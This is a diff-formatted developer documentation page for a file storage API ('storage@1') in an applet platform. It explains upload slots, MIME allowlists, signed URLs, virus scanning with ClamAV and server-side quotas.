+
- [Quotas and Limits](#quotas-and-limits)
|
|
9
|
+
|
|
10
|
+
<a name="introduction"></a>
|
|
11
|
+
## Introduction
|
|
12
|
+
|
|
13
|
+
`storage@1` lets a participant put a file into the Rack: a photo, a drawing, a recorded reflection,
|
|
14
|
+
a document. The applet never sees a bucket, a key or a presigned URL to anything but its own files,
|
|
15
|
+
and a file is not addressable at all until a scanner has marked it clean.
|
|
16
|
+
|
|
17
|
+
<a name="declaring-upload-slots"></a>
|
|
18
|
+
## Declaring Upload Slots
|
|
19
|
+
|
|
20
|
+
An **upload** is a named slot with a scope and a MIME allowlist. Files always belong to a slot.
|
|
21
|
+
|
|
22
|
+
```json
|
|
23
|
+
"uploads": [
|
|
24
|
+
{ "name": "artifacts", "scope": "room", "mime": ["image/png", "image/jpeg"], "max_bytes": 5242880, "max_files": 10 },
|
|
25
|
+
{ "name": "reflection", "scope": "attempt", "mime": ["audio/*"], "max_bytes": 10485760 }
|
|
26
|
+
]
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
| Field | Rules |
|
|
30
|
+
|---|---|
|
|
31
|
+
| `name` | Required. `^[a-z][a-z0-9_]*$`, max 40, unique. |
|
|
32
|
+
| `scope` | Required. `attempt`, `user`, `room` or `applet`. Same meaning as [db scopes](database.md#scopes). |
|
|
33
|
+
| `mime` | Required, at least one. `type/subtype` or `type/*`. |
|
|
34
|
+
| `max_bytes` | Optional. Default 10 MB, ceiling 50 MB (`ziprack-storage.max_bytes_cap`). |
|
|
35
|
+
| `max_files` | Optional. Default 20, ceiling 500. |
|
|
36
|
+
|
|
37
|
+
`attempt` scope requires `attempt@1`; `room` scope requires `broadcast@1`.
|
|
38
|
+
|
|
39
|
+
<a name="uploading"></a>
|
|
40
|
+
## Uploading
|
|
41
|
+
|
|
42
|
+
```ts
|
|
43
|
+
input.addEventListener('change', async () => {
|
|
44
|
+
const file = input.files?.[0];
|
|
45
|
+
if (! file) return;
|
|
46
|
+
|
|
47
|
+
const result = await Rack.storage.put('artifacts', file, { caption: caption.value });
|
|
48
|
+
|
|
49
|
+
if (! result.ok) {
|
|
50
|
+
return showError(result.error === 'quota_exceeded'
|
|
51
|
+
? 'That slot is full.'
|
|
52
|
+
: 'We could not accept that file.');
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
render(result.data.file); // status is usually 'pending' at this point
|
|
56
|
+
});
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
The `File` travels to the shell by structured clone and is re-sent as multipart to the Rack — it
|
|
60
|
+
never becomes JSON, and it never leaves the frame as your own `fetch`. The ack timeout for
|
|
61
|
+
`storage:put` is 120 s rather than the usual 5 s, because upload time is participant time.
|
|
62
|
+
|
|
63
|
+
A stored file looks like:
|
|
64
|
+
|
|
65
|
+
```ts
|
|
66
|
+
interface StoredFile {
|
|
67
|
+
id: string;
|
|
68
|
+
upload: string; // the slot name
|
|
69
|
+
name: string;
|
|
70
|
+
mime: string;
|
|
71
|
+
bytes: number;
|
|
72
|
+
status: 'pending' | 'clean' | 'infected' | 'failed';
|
|
73
|
+
created_at: string;
|
|
74
|
+
}
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
<a name="reading-files-back"></a>
|
|
78
|
+
## Reading Files Back
|
|
79
|
+
|
|
80
|
+
```ts
|
|
81
|
+
const { data } = await Rack.storage.list('artifacts'); // omit the slot for all of them
|
|
82
|
+
|
|
83
|
+
const url = await Rack.storage.url(file.id);
|
|
84
|
+
if (url.ok) img.src = url.data.url; // expires; refetch rather than cache
|
|
85
|
+
|
|
86
|
+
await Rack.storage.delete(file.id);
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
`url()` returns a short-lived signed URL — 10 minutes by default
|
|
90
|
+
(`ziprack-storage.url_ttl_minutes`) — and never an object key. Do not store it: request it when you
|
|
91
|
+
are about to render, and request it again if the participant leaves the page open.
|
|
92
|
+
|
|
93
|
+
`url()` on a file that is not yet `clean` fails. Render pending files as placeholders and refresh:
|
|
94
|
+
|
|
95
|
+
```ts
|
|
96
|
+
if (file.status === 'pending') {
|
|
97
|
+
setTimeout(async () => {
|
|
98
|
+
const again = await Rack.storage.list('artifacts');
|
|
99
|
+
// …look for this id, re-render when it turns clean
|
|
100
|
+
}, 2000);
|
|
101
|
+
}
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
<a name="scanning"></a>
|
|
105
|
+
## Scanning
|
|
106
|
+
|
|
107
|
+
Uploads are scanned before they become addressable. The deployment picks the scanner:
|
|
108
|
+
|
|
109
|
+
```
|
|
110
|
+
ZIPRACK_SCANNER=clamav # streams the file to clamd over TCP
|
|
111
|
+
ZIPRACK_SCANNER=null # development only: passes everything, marks clean
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
`php artisan ziprack:status` warns while a Rack is running the null scanner, and that warning should
|
|
115
|
+
be taken seriously before a deployment accepts participant files from anyone.
|
|
116
|
+
|
|
117
|
+
An `infected` file is never addressable, and the participant sees a failure rather than a mystery.
|
|
118
|
+
|
|
119
|
+
<a name="quotas-and-limits"></a>
|
|
120
|
+
## Quotas and Limits
|
|
121
|
+
|
|
122
|
+
Enforced server-side, per slot and per scope, regardless of what the manifest asks for:
|
|
123
|
+
|
|
124
|
+
- `max_bytes` per file, capped at 50 MB for the deployment.
|
|
125
|
+
- `max_files` per scope, capped at 500.
|
|
126
|
+
- The MIME allowlist. A file whose type is not in the slot's list is refused with `validation`,
|
|
127
|
+
which is not a substitute for setting `accept` on your `<input>` — do both, for the participant's
|
|
128
|
+
sake.
|
|
129
|
+
|
|
130
|
+
Uploads count against the applet, so an applet declaring an unbounded-feeling slot in a long-running
|
|
131
|
+
room is the realistic way to fill a disk. Declare the smallest slot that does the job.
|